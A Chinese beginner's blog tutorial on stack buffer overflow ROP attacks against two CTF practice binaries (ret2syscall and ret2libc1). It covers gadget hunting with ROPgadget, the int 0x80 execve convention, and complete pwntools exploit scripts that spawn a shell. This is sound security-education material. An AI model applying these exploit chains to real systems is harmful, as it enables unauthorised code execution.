pwn入门（3）：缓冲区溢出ROP攻击（ret2syscall+ret2libc）

秒速五厘米 2023-09-26 21:07 104阅读 0赞

前两篇博客讲述了解pwn题的环境配置和ROP攻击的原理，以及两道最基本的ROP攻击题目，详情见：

[(59条消息) pwn入门（1）：kali配置相关环境（pwntools+gdb+peda）\_Bossfrank的博客-CSDN博客][59_ pwn_1_kali_pwntools_gdb_peda_Bossfrank_-CSDN][(59条消息) pwn入门（2）：ROP攻击的原理，缓冲区溢出漏洞利用（ret2text+ret2shellcode）\_Bossfrank的博客-CSDN博客][59_ pwn_2_ROP_ret2text_ret2shellcode_Bossfrank_-CSDN]本节我们再继续介绍ROP攻击的两个基本实例。

## ret2syscall ##

二进制下载链接为[点此处下载ret2syscall][ret2syscall]

与ret2text和ret2shellcode一样，我们先检测程序开启的保护，命令(把二进制程序改名为ret2syscall)：

checksec ret2syscall

发现开启了**NX防护措施，源程序为 32 位**：

![163c857815104127873ff2183020cec4.png][]

查看IDA pro（按F5），同样存在溢出点gets函数：

![4042776f82e7435893a931aaa89e6891.png][]

然后我们再搜一搜有没有类似syscall函数和'/bin/sh'字符串这样的特征可以利用，发现确实有'/bin/sh'字符串，位于0x080be408

![5471bc383b0c4c94a6664f263e635377.png][]

当然，也可以用ROPgadget搜索'/bin/sh'，命令如下：

ROPgadget --binary ret2syscall --string '/bin/sh'

也可找到字符串所在地址，为0x080be408

![f80435eb564d481c91bc417117b3b50c.png][]

然后貌似也没有其他有价值的东西可直接利用了。我们可以尝试利用系统调用，但如何给 syscall 传参呢？**利用程序中的 gadgets 进行拼凑，最终拼凑出系统调用实现getshell**。

Linux 在x86上的系统调用通过 int 80h 中断实现，用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是：

> 1.  应用程序调用库函数（API）；
> 2.  API 将系统调用号存入 EAX，然后通过中断调用使系统进入内核态；
> 3.  内核中的中断处理函数根据系统调用号，调用对应的内核函数（系统调用）；
> 4.  系统调用完成相应功能，将返回值存入 EAX，返回到中断处理函数；
> 5.  中断处理函数返回到 API 中；
> 6.  API 将 EAX 返回给应用程序。

**应用程序调用系统调用的过程是**：

> 1.  把**系统调用的编号存入 EAX**；
> 2.  把函数参数存入其它通用寄存器(ebx,ecx,edx等等)；
> 3.  触发 0x80 号中断（int 0x80）。

简单地说，**只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用**。这里我们拟采用获取shell的系统调用为：

execve("/bin/sh",NULL,NULL)

而在32位系统中，execve的系统调用号为11（系统调用号可见[系统调用号][Link 1]），即16进制0xb，我们只要将eax的值赋为0xb,即可实现execve的系统调用，然后我们还要给这个系统调用传参，要传递的参数分别为"/bin/sh"，NULL，NULL，传递参数是通过寄存器ebx,ecx,edx寄存的值实现的，因此，我们要想实现execve("/bin/sh",NULL,NULL)，需要满足：

>  *  eax 应该为 0xb（execve的系统调用号）
>  *  第一个参数，即 ebx 应该指向 /bin/sh 的地址
>  *  第二个参数，即 ecx 应该为 0
>  *  第三个参数，即 edx 应该为 0

弄明白了这一点，问题变为了如何使得eax,ebx,ecx,edx这四个寄存器的值对应我们想要的（**0xb**, '/bin/sh'的地址**0x080be408**, **0**, **0**）

这里就需要使用 gadgets。比如说，现在栈顶是 10，那么如果此时执行了 pop eax，那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器，所以我们需要一段一段控制，这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。**也就是把pop 寄存器出来之后，ret回程序执行流程，然后再对弹出的寄存器赋值，再执行下一次的pop、ret、给寄存器赋值。**具体寻找 gadgets 的方法，我们再次使用 ropgadgets 这个工具。

先找pop eax ret这样的语句的位置，命令为：

ROPgadget --binary ret2syscall --only 'pop|ret' | grep eax

![aa9fe60154eb4209958c9b0f2018e12e.png][]

如上图，有好几个可以选择的，那我们就选第二条吧，这条指令只对pop操作，不会影响其他寄存器，记住这条指令的地址为0x080bb196。类似的，我们再找对ebx的pop操作，命令为：

ROPgadget --binary ret2syscall --only 'pop|ret' | grep ebx

![7bfa105bbd7540178b671ae2f1aa3948.png][]

发现0x0806eb90的这条指令非常理想，直接依次pop出了edx,ecx,ebx，可以直接控制三个寄存器。那么我们就选这条了，就不用再搜pop ecx 和 edx的命令了，非常nice！

此外，还有 int 0x80 的地址需要寻找（为啥要找int 0x80？因为应用程序系统调用的过程最后要触发int 0x80中断），命令为：

ROPgadget --binary ret2syscall  --only 'int'

![21c94f6990d7480f99df7c1571635f9c.png][]

发现int\_0x80的地址为x08049421。

/bin/sh的地址我们前面用IDA看过了，是0x80be408，至此，我们找齐了所有的要利用的gadgets。可以进行溢出了，**在本文构造的这些gadgets的溢出的思路如下图**（看不明白的建议多看几遍）：

![97849a8eaa6c47488b456daa4c67aeda.png][]

当然，如果前面选择的指令的地址不一样，也有其他的覆盖思路，比如下图：

![7bddf5eaf1a84ad699d1229befe6e6dc.png][]

哦对了，顺道一提，垃圾数据的长度和我上篇博客的两道题目的offset相同，还是112，这个数是咋的出来的可以看上一篇博客[(59条消息) pwn入门（2）：ROP攻击的原理，缓冲区溢出漏洞利用（ret2text+ret2shellcode）\_Bossfrank的博客-CSDN博客][59_ pwn_2_ROP_ret2text_ret2shellcode_Bossfrank_-CSDN]

由此，对照下图，payload构造如下：

![97849a8eaa6c47488b456daa4c67aeda.png][]

> payload = b'A' \* 112 + p32(pop\_eax\_ret) + p32(0xb) + p32(pop\_edx\_ecx\_ebx\_ret) + p32(0) + p32(0) + p32(binsh) + p32(int\_0x80)

然后我们就可以编写漏洞利用的代码了，ret2syscall\_exp.py如下：

from pwn import *
    
    sh = process('./ret2syscall')
    pop_eax_ret = 0x080bb196
    pop_edx_ecx_ebx_ret = 0x0806eb90
    int_0x80 = 0x08049421
    binsh = 0x80be408
    payload = b'A' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
    sh.sendline(payload)
    sh.interactive()

如图所示，运行此代码，成功获得shell！这里运行了ls，可以看到对应的文件了

![64c04f5cd0ad4fbea95c484452a26301.png][]

## ret2libc1 ##

二进制下载链接为[点此处下载ret2libc1][ret2libc1]

第一步仍然是检测程序开启的保护:

checksec ret2libc1

发现源程序为 32 位，开启了 NX 保护

![bfa3d31c4efb4a8cbb87fe3b99d64abd.png][]

查看IDA pro，同样存在gets可以溢出：

![2a3f370f5c554aac86a6ea4df0ea7c42.png][]

再查看secure() 函数，发现里面有 system 调用，但参数不是 '/bin/sh'

![8a61b47648d34e548a7dd11e1adc1557.png][]

查看一下system的plt表项位置，为08048460：

![62f5e0fd99c94cc39f9e372c8126e873.png][] 利用 ropgadget，我们可以查看是否有'/bin/sh' 存在：

ROPgadget --binary ret2libc1 --string '/bin/sh'

发现是有的，如图，其地址为08048720，当然在IDA中查找也是一样的。

![da776ec94b864081a408579a06ab7811.png][]

此时，要素齐全，有 system()，也有 '/bin/sh' 字符串，我们的攻击思路如下：

> 1、找出 system() 的 PLT 表项
> 
> 2、找出 '/bin/sh' 字符串的地址
> 
> 3、构造 system 的栈帧，令 main() 的返回地址为 system 的 plt 地址，直接完成system('/bin/sh')

覆盖思路示意图如下：

![6a18199050f243f58660da561decb171.png][]

这里垃圾数据的长度offset和前面一样，都是112，图中那个“随便一个32位数”是作为system函数的返回地址，在这里并不关心是多少（因为一旦执行了system('/bin/sh')就已经成功getshell了），我们就用’bbbb‘作为替代就行，再后面是system函数的参数，是'/bin/sh'的地址，因此，对应的payload为：

> payload = b'a' \* 112 + p32(system\_plt) + b'b' \* 4 + p32(binsh\_addr)

然后现在可以写漏洞利用代码了，ret2libc1\_exp.py如下所示：

from pwn import *
    
    sh = process('./ret2libc1')
    binsh_addr = 0x8048720
    system_plt = 0x08048460
    payload = b'a' * 112 + p32(system_plt) + b'b' * 4 + p32(binsh_addr)
    sh.sendline(payload)
    sh.interactive()

运行后成功拿到了shell，如下图：

![8e9fd84832ad4edb8e23cb35e75968fa.png][]

至此，ROP攻击成功。

## 结语 ##

本人也是个刚刚入门网安的菜鸟，正好学到缓冲区溢出的基本知识，因此做了几道基本题之后感觉还挺有趣的，因此写写博客做一个记录。 初次复现的时候对照着[基本 ROP - CTF Wiki (ctf-wiki.org)][ROP - CTF Wiki _ctf-wiki.org]

的代码跑了一遍，直接就成功了，但对覆盖的原理不太理解，包括寄存器的值为什么这样设置，对函数的调用、传参、返回的过程并没有很清楚，后来也和周围朋友交流，再次写博客的时候才对其中的原理豁然开朗。

本节通过两个实例ret2tsyscall、ret2libc1，为读者介绍基本的ROP攻击过程。下一节中我们将继续通过其他实例继续介绍基本的ROP知识题目。敬请期待，希望大大多多关注支持！

[59_ pwn_1_kali_pwntools_gdb_peda_Bossfrank_-CSDN]: https://blog.csdn.net/Bossfrank/article/details/130213456
[59_ pwn_2_ROP_ret2text_ret2shellcode_Bossfrank_-CSDN]: https://blog.csdn.net/Bossfrank/article/details/130223488
[ret2syscall]: https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop
[163c857815104127873ff2183020cec4.png]: https://img-blog.csdnimg.cn/163c857815104127873ff2183020cec4.png
[4042776f82e7435893a931aaa89e6891.png]: https://img-blog.csdnimg.cn/4042776f82e7435893a931aaa89e6891.png
[5471bc383b0c4c94a6664f263e635377.png]: https://img-blog.csdnimg.cn/5471bc383b0c4c94a6664f263e635377.png
[f80435eb564d481c91bc417117b3b50c.png]: https://img-blog.csdnimg.cn/f80435eb564d481c91bc417117b3b50c.png
[Link 1]: https://blog.csdn.net/weixin_51055545/article/details/128722431
[aa9fe60154eb4209958c9b0f2018e12e.png]: https://img-blog.csdnimg.cn/aa9fe60154eb4209958c9b0f2018e12e.png
[7bfa105bbd7540178b671ae2f1aa3948.png]: https://img-blog.csdnimg.cn/7bfa105bbd7540178b671ae2f1aa3948.png
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[97849a8eaa6c47488b456daa4c67aeda.png]: https://img-blog.csdnimg.cn/97849a8eaa6c47488b456daa4c67aeda.png
[7bddf5eaf1a84ad699d1229befe6e6dc.png]: https://img-blog.csdnimg.cn/7bddf5eaf1a84ad699d1229befe6e6dc.png
[64c04f5cd0ad4fbea95c484452a26301.png]: https://img-blog.csdnimg.cn/64c04f5cd0ad4fbea95c484452a26301.png
[ret2libc1]: https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
[bfa3d31c4efb4a8cbb87fe3b99d64abd.png]: https://img-blog.csdnimg.cn/bfa3d31c4efb4a8cbb87fe3b99d64abd.png
[2a3f370f5c554aac86a6ea4df0ea7c42.png]: https://img-blog.csdnimg.cn/2a3f370f5c554aac86a6ea4df0ea7c42.png
[8a61b47648d34e548a7dd11e1adc1557.png]: https://img-blog.csdnimg.cn/8a61b47648d34e548a7dd11e1adc1557.png
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[8e9fd84832ad4edb8e23cb35e75968fa.png]: https://img-blog.csdnimg.cn/8e9fd84832ad4edb8e23cb35e75968fa.png
[ROP - CTF Wiki _ctf-wiki.org]: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/